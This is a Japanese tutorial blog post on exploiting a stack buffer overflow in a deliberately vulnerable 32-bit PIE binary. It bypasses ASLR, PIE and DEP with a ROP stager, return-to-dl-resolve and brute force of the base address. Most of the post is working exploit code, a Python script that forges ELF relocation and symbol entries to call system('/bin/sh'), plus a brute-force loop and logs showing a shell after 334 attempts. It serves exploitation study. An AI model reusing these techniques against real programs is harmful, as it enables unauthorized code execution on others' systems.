読者です 読者をやめる 読者になる 読者になる

ROP stager + Return-to-dl-resolve + ブルートフォースによる32bit ASLR+PIE+DEP回避

「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらに実行ファイルがPIEの場合についてブルートフォースによるシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、PIE、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -fPIE -pie bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

readelfコマンドでセクション情報を表示すると、各セクションのアドレスが小さな値(ファイル先頭からのオフセット)になっており、PIEであることが確認できる。

$ readelf -S a.out
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        00000154 000154 000013 00   A  0   0  1
  ...
  [12] .plt              PROGBITS        00000400 000400 000060 04  AX  0   0 16
  [13] .text             PROGBITS        00000460 000460 000228 00  AX  0   0 16
  ...
  [23] .got.plt          PROGBITS        00001ff4 000ff4 000020 04  WA  0   0  4
  [24] .data             PROGBITS        00002014 001014 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0000201c 00101c 000008 00  WA  0   0  4
  ...

ASLRが無効な場合に対するエクスプロイトコードを書いてみる

ASLRは実行時のメモリ配置に関するセキュリティ機構であり、ASLRが有効でも無効でもコンパイルされた実行ファイルは同一である。 そこで、手始めにASLRが無効な場合について考えてみる。

readelfコマンドおよびobjdumpコマンドを使い、実行ファイルのセクション情報およびディスアセンブル結果を書き出してみる。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

出力したデータをもとに、ROP stagerによる固定アドレス書き込み、Return-to-dl-resolveによるsystem関数呼び出しを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

base_bin = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

addr_dynsym = base_bin + 0x1e0       # readelf -S a.out
addr_dynstr = base_bin + 0x2a0       # readelf -S a.out
addr_relplt = base_bin + 0x3a8       # readelf -S a.out
addr_plt = base_bin + 0x400          # readelf -S a.out
addr_gotplt = base_bin + 0x1ff4      # readelf -S a.out
addr_bss = base_bin + 0x201c         # readelf -S a.out
addr_plt_read = base_bin + 0x410     # objdump -d -j.plt a.out
addr_got_read = addr_gotplt + 0xc    # objdump -d -j.plt a.out

addr_pop3 = base_bin + 0x62d         # objdump -d a.out
addr_pop_ebp = base_bin + 0x62f      # objdump -d a.out
addr_leave_ret = base_bin + 0x5cd    # objdump -d a.out
addr_pop_ebx = base_bin + 0x3fc      # objdump -d a.out

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_pop_ebx)
buf1 += struct.pack('<I', addr_gotplt)
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 100)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

addr_reloc = base_stage + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAA'
buf2 += struct.pack('<I', addr_plt)
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_got_read - base_bin)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)                   # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.wait()

このコードは実行ファイルのベースアドレス、オーバーフローさせるバッファのサイズを順に引数に取る。 コードの内容は基本的にはPIEでない場合と同じであるが、以下について修正する必要がある。

  • PIEではebxレジスタにGOTセクションの先頭アドレスがセットされ、PLTにて利用される。そのため、最初にebxレジスタにGOTセクションの先頭アドレスをセットする。
  • Elf32_Rel構造体のreloc_offsetには実際に配置されたアドレスではなく、ファイル先頭からのオフセット値が入る。

ASLRを一旦無効にし、gdbで実行ファイルのベースアドレスを調べてみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x560
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x80000560 in main ()
(gdb) i proc map
process 1780
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0x80000000 0x80001000     0x1000        0x0 /home/user/tmp/a.out
        0x80001000 0x80002000     0x1000        0x0 /home/user/tmp/a.out
        0x80002000 0x80003000     0x1000     0x1000 /home/user/tmp/a.out
        ...
(gdb) quit

この結果から、実行ファイルのベースアドレスが0x80000000であることがわかる。

引数をセットし、エクスプロイトコードを実行してみる。

$ python exploit.py 0x80000000 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfc\x03\x00\x80\xf4\x1f\x00\x80\x10\x04\x00\x80-\x06\x00\x80\x00\x00\x00\x00\x1c(\x00\x80d\x00\x00\x00/\x06\x00\x80\x1c(\x00\x80\xcd\x05\x00\x80'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

PIEな実行ファイルに対し、ASLRが無効な条件下でシェルが起動できていることがわかる。

ASLRを有効にしてブルートフォースしてみる

実行ファイルのベースアドレスが一致すればシェルが起動することを確認できたので、ASLRが有効な場合について考えてみる。 事前にbuffer over-readによるスタック上のリターンアドレスの書き出しなどができる場合は、これをもとにベースアドレスを計算すればよい。 ベースアドレスの計算ができない場合でも、32bit環境であればブルートフォースによる方法が可能である。

ASLRを有効にし、gdbを使ってベースアドレスが変化する様子を調べてみる。 ここで、gdbはデフォルトでASLRを無効化するため、set disable-randomization offを実行する必要があることに注意する。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x560
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0xb776c560 in main ()
(gdb) i proc map
process 2111
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        ...
        0xb776c000 0xb776d000     0x1000        0x0 /home/user/tmp/a.out
        0xb776d000 0xb776e000     0x1000        0x0 /home/user/tmp/a.out
        0xb776e000 0xb776f000     0x1000     0x1000 /home/user/tmp/a.out
        ...
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0xb776c560
Starting program: /home/user/tmp/a.out

Temporary breakpoint 2, 0xb7779560 in main ()
(gdb) i proc map
process 2114
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        ...
        0xb7779000 0xb777a000     0x1000        0x0 /home/user/tmp/a.out
        0xb777a000 0xb777b000     0x1000        0x0 /home/user/tmp/a.out
        0xb777b000 0xb777c000     0x1000     0x1000 /home/user/tmp/a.out
        ...
(gdb) quit

繰り返し実行すると、実行ファイルのベースアドレスが0xb77XX000(XX=00-ff)あるいは0xb7800000の範囲で変化していることがわかる。 つまり、32bit環境であれば0x100(=256)回程度の試行でベースアドレスが一致すると考えられる。

引数で与えたベースアドレスのもと、繰り返し試行するようにエクスプロイトコードを修正してみる。

# exploit-bf.py

(snip)

# execution part
i = 0
while True:
    print >>sys.stderr, "[+] trial: %d" % (i+1)
    p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

    p.stdin.write(struct.pack('<I', len(buf1)))
    p.stdin.write(buf1)
    # print "[+] read: %r" % p.stdout.read(len(buf1))

    p.stdin.write(buf2)
    p.wait()

    i += 1

ベースアドレスに取り得る適当なアドレスを引数にセットし、実行してみる。

$ python exploit.py 0xb7779000 100
[+] trial: 1
[+] trial: 2
[+] trial: 3
[+] trial: 4
(snip)
[+] trial: 334
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
[+] trial: 335
[CTRL+C]
Traceback (most recent call last):
  File "exploit.py", line 76, in <module>
    p.wait()
  File "/usr/lib/python2.7/subprocess.py", line 1291, in wait
    pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0)
  File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call
    return func(*args)
KeyboardInterrupt

32bitのASLRが有効な条件下のもと、334回の試行でシェルが起動できていることが確認できた。

関連リンク